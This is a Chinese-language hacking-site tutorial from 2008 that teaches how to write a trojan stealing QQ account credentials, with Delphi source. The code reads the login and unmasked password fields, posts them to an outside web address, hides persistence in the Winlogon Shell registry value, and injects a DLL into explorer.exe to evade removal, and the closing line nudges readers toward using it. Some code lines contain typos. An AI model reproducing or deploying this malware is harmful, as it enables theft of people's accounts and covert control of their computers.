奥运倒计时: 设为首页 加入收藏
点击进入太平洋安全网首页
论坛登陆 用户名: 密码:
首页 新闻资讯 文章中心 黑客资源 黑客点睛 安全防护 软件下载 动画教程 会员咨询 技术问答 论坛社区
文章 下载 图片
文章   | 电脑知识 | 网络知识 | 菜鸟入门 | 入侵教程 | 黑客攻防 | 黑客编程 | 原创精华 | 黑客人物 | 黑客技术 | 提权技术 | 跨站技术 | 渗透技术 | 鸽子专题 |
 您现在的位置: 太平洋安全网 >> 文章 >> 黑客编程 >> 正文

打造自己的线程QQ木马

打造自己的线程QQ木马
作者:佚名    文章来源:佚名    点击数:    更新时间:2008-6-13

本来我是想写个好点的DLL木马的,可考虑到篇幅有限(其实是水平有限啊^_^),于是写了一个简单一点的,希望大家能从中学到点什么。

 
一.判断QQ是否运行
QQ木马当然是用来盗号的,所以第一步要先判断QQ是否已经运行,。有一种比较简便的方法是通过调用findwindow这个API函数来取得QQ主程序的窗口句柄。如果函数返回值为空,则表示QQ没有运行,如果大余0则表示QQ已经运行。下面是findwindow这个函数的声明:
FWND FindWindow (LPCTSTR IpClassName, LPCTSTR IpWindowName);
因为QQ程序的窗口类名是32770,所以通过调用FindWindow(`#32770`,nil)就可以得到QQ主程序的窗口句柄了。这样就可以判断QQ是否运行了。
二.获取QQ帐号和密码
在取得QQ程序主窗口的句柄后我们可以再调用另外一个函数FindWindowEx就可以得到QQ登陆帐号和密码的句柄了。然后通sendmessage函数发送一条消息给这个输入框,QQ程序就会返回这个输入框里面的文字信息。这是sendmessage函数的原型:LRESULT SendMessage (HWND hWnd,UINT Msg, WPARAMwParam, LPARAM IParam);但是在调用sendmessage函数取得QQ密码的时候,QQ密码经常回不显示星号而是直接显示用户输入的字符,这样就很容易被人发现,为了不让密码显示出来还应调应函数PostMessage,它和sendmessage的区别就是sendmessage直接把一个消息发送给窗口,等消息处理完后才返回,而PostMessage是把消息发送到消息队列后立即返回。这样通过PstMessage发送一个带*号的字符给QQ密码输入框,QQ密码输入框就和以前一样了,只会显示星号而不显示字符。下面是整个截取QQ登陆帐号和密码的函数:
procedure ThreadProc;
var
p,k:integer;
qqhwnd,QQhwnd2,tempH:hwnd;
username,password:pchar;
usertemp,passtemp:string;
begin
while true do
begin
sleep(100);
p:=k;
getmem(username,255);
getmem(password,255);
QQhwnd:=FindWindow(`#32770`,nil);
qqhwnd2:=FindWindowEx(QQhwnd,0,`Button`,`注册向导`);
if QQhwnd2<>0 then
begin
k:=1;
TempH:=FindWindowEx(QQHwnd,0,`ComboBox`,nil);
SendMessage(TempH,WM_GETTEXT,100,Integer(username));
TempH:=FindWindowEx(QQHwnd,0,`EdIT`,nil);
PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0);
Sleep(10);
SendMessage(TempH,WM_GETTEXT,100,Longint(password));
PostMessage(TempH,EM_SETPASSWORDCHAR,wparam(`*`),0);
usertemp:=username;
passtemp:=password;
end
else
begin
QQhwnd:=FindWindowEx(QQhwnd,0,`#32770`,nil);
QQhwnd:=FindWindowEx(qqhwnd,0,`Button`,`使用已有的QQ号码`);
if QQhwnd<>0 then
begin
k:=1;
TempH:=GetNextWindow(QQHwnd,GW_HWNDNEXT);
SendMessage(TempH,WM_GETTEXT,100,Integer(username));
TempH:=GetNextWindow(TempH,GW_HWNDNEXT);
PostMessage(TempH,EM_SETPASSWORDCHAR,ord(#0),0);
Sleep(10);
SendMessage(TempH,WM_GETTEXT,100,Longint(password));
PostMessage(TempH.EM_SETPASSWORDCHAR, wparam(`*`),0);
usertemp:=username;
passtemp:=password;
end
else k:=0;
end;

if (p=1) and (k=0) and (length(usertemp)>4) and (length(usertemp)<10) and (length(passtemp)>3) then
begin
PostURL(http://www.sokuang.com/qq/post.asp`,`username=`+usertemp+`&password=`+passtemp);
end;
freemem(username);
freemem(password);

end;
end;
三.信息的发送
当木马成功截取到信息后就回将这些信息发出去,最常见的方法就是采用邮件送。Delphi中已经封装了邮件发送组件,大家可以直接调用组件作一个邮件发送程序,这了就不多说了。但由于调用组件会使木马文件体积过大,所以还是建议大家采用WINDOWS API来写一个邮件发送程序。上面我就调用了一个自定义函数posturl发送QQ帐号和密码到指定的 网页程序上。
四.QQ木马的启动和隐藏

完成了QQ木马的主要功能后,还必须为木马加上启动项,如果不能自动启动,那电脑重起后木马就不能自动运行了。木马自启动常见的方法就是修改注册表(一般的木马都是在注册表[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下加上启动项,大家都知道吧),这里告诉你一个隐蔽的位置,就是把[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon]下的shell键值修改一下。也就是在explorer.exe后面加一个空格然后再把木马的路径加上去,这样木马就会随着windows的启动而自动启动了。下面是我用API函数修改注册表的函数。(你也可以在Delphi中直接利用TRegistry对象访问和修改注册表,不过由于调用组件生成的木马太大,建议你用使用API函数。)
function CreateKey(Root:HKEY;StrPath:pchar):Hkey;
var TempKey:HKey;DisposITion:Integer;
begin
TempKey:=0;
RegCreateKeyEx(Root,StrPath,0,nil,0,KEY_ALL_ACCESS,nil,TempKey,@DisposITion);
Result:=TempKey;
end;
procedure AddValue(Root:HKEY;StrPath:pchar;StrValue:pchar;Strdata:pchar;DataType:Integer);
var s:HKey;
DataSize:Integer;
begin
s:=CreateKey(Root,StrPath);
DataSize:=length(Strdata);
RegSetValueEx(s,StrValue,0,REG_SZ,Strdata,DataSize); //
RegCloseKey(s);
end;
上面这个函数是用来生成主键的,最后只需再调用一个函数修改键值
AssValue(HKEY_LOCAL_MACHINE,`SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winl ogon`,`Shell`,pchar(`Explorer.exe `+paramstr(0)),1)
搞定木马的自动启动后就剩下隐藏了,木马的改进主要是为了成功躲避查杀,更好的隐藏自己,隐藏的方法有很多,在这里我想讲一下线程插入。先说下原理吧,在WINDOWS下面可执行程序是不允许访问其他程序进程空间的,但是DLL文件就不一样了。不如一个DLL文件内设置了一个系统级的钩子,那WINDOWS就会强行把这个DLL映射到所有程序进程空间里面,这样DLL就可以访问该程序的进程空间了。而如果这个DLL文件包含木马功能的话,那就很难被发现了,因为别人看到的是宿主程序的进程,而看不到DLL的进程。这里我以注入explorer.exe为例来说明一下编程思路。首先是得到explorer.exe的进程ID,得到进程ID后再利用OPENPROCESS函数打开资源管理器的进程空间,然后就可以注入了。以下是源代码,供参考。
FUNCTION InjectLibrary(Process;LongWord;DLLPath:pChar) : Boolean;
VAR
BytesWrITten:DWORD;
Thread :DWORD;
ThreadID :DWORD;
Parameters :Pointer;
BEGIN
Result:=False;
Parameters:=xVirtualAllocEx(Process,NIL,4096,MEM_COMMIT,PAGE_READWRITE);
IF Parameters=NIL THEN ExIT;
WriteProcessMemory(Process,Parameters,Pointer(DLLPath),4096,BytesWrITten);
Thread:=xCreateRemoteThread(Process,NIL<)<GetProcAddress(GetModuleHandle(`KER NEL32.DLL`),`LoadLibraryA`),Parameters,0,@Threadld);
WaitForSingleObject(Thread,INFINITE);
xVirtualFreeEx(Process,Parameters,0,MEM_RELEASE);
IF Thread=0 THEN ExIT;
CloseHandle(Thread);
Result:=True;
END;
InjectLibrary这个函数使用来注入的函数,在调用前必须显得到浏览器的进程第,然后打开浏览器进程空间后才能调用。调用过程如下:
PID:=GetProcessID(`EXPLORER.EXE`);
Process:=OpenProcess(PROCESS_ACCESS,False,PID);
InjectLibrary(Process,Pchar(DllAllpath));
这样就搞定了线程插入,不过都是调用WINDOWS API函数操作的。因为线程插入技术是把DLL文件映射到可执行文件的进程空间里面,所以要想清除木马首先要关闭可执行文件,而EXPLORER.EXE是WINDOWS系统启动的必须程序,要想清除就很难了。
因为木马需要用到DLL文件,并且在DLL文件中实现木马的功能能起到很好的隐藏作用,所以整个木马绝大部分功能都在DLL中完成。但要想让DLL文件运行必须由其他文件调用才能用,DLL文件是不能单独运行的。所以这里我编写了一个可执行文件来调用DLL木马,并且完成掀程插入功能。这样整个木马就包含两个文件,一个可执行文件和一个DLL文件。但含两个文件的木马是很不方便用的,你可以把DLL文件作为一个资源放在可执行文件里面,当可执行文件运行时就把DLL文件资源释放出来,然后再调用线程插入功能把DLL文件插入到资源管理器中,这样问题就完美的解决了。并且如果这个DLL文件被删除了,可执行文件还可以继续生成这个DLL问件。
就这样简单,一款属于自己的“马”就出来了,剩下该做什么就不用我说了吧!

 

文章录入:原諒ωǒ今天    责任编辑:xiaonao 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
     推荐文章
    推荐文章一句话木马用Upfile.vbs脚本
    推荐文章软件破解教程-第6章第3节 加密算法5
    推荐文章软件破解教程-第6章第3节 加密算法4
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章软件破解教程-常用Win32 API函数简介
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
     热门文章
    推荐文章软件破解教程-第6章第3节 加密算法3
    推荐文章Visual C++编程窃取QQ密码(图)
    推荐文章VB编程实现图像的漂亮效果
    推荐文章输入10进制,输出2进制
    推荐文章详解Visual C#数据库编程
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章入侵渗透中用过的三则VBS代码
    推荐文章网站防止注入入侵的一些有效代码和方法
     本站推荐

    关于我们 | 联系方法 | 招聘信息 | 加入会员 | 诚征代理 | 广告服务 | 欢迎投稿 | 站长信箱 | 友情链接 | 网站地图
    24小时客服:0374-7126138 技术支持:0374-7126138 投诉电话:0374-7967536
    客服QQ:883039 售后QQ:827520 技术QQ:78305152 投稿-商业:576880739
    Copyright 太平洋科技 2003-2007 版权所有 All Rights Reserved
    许可证号:豫ICP备07005385号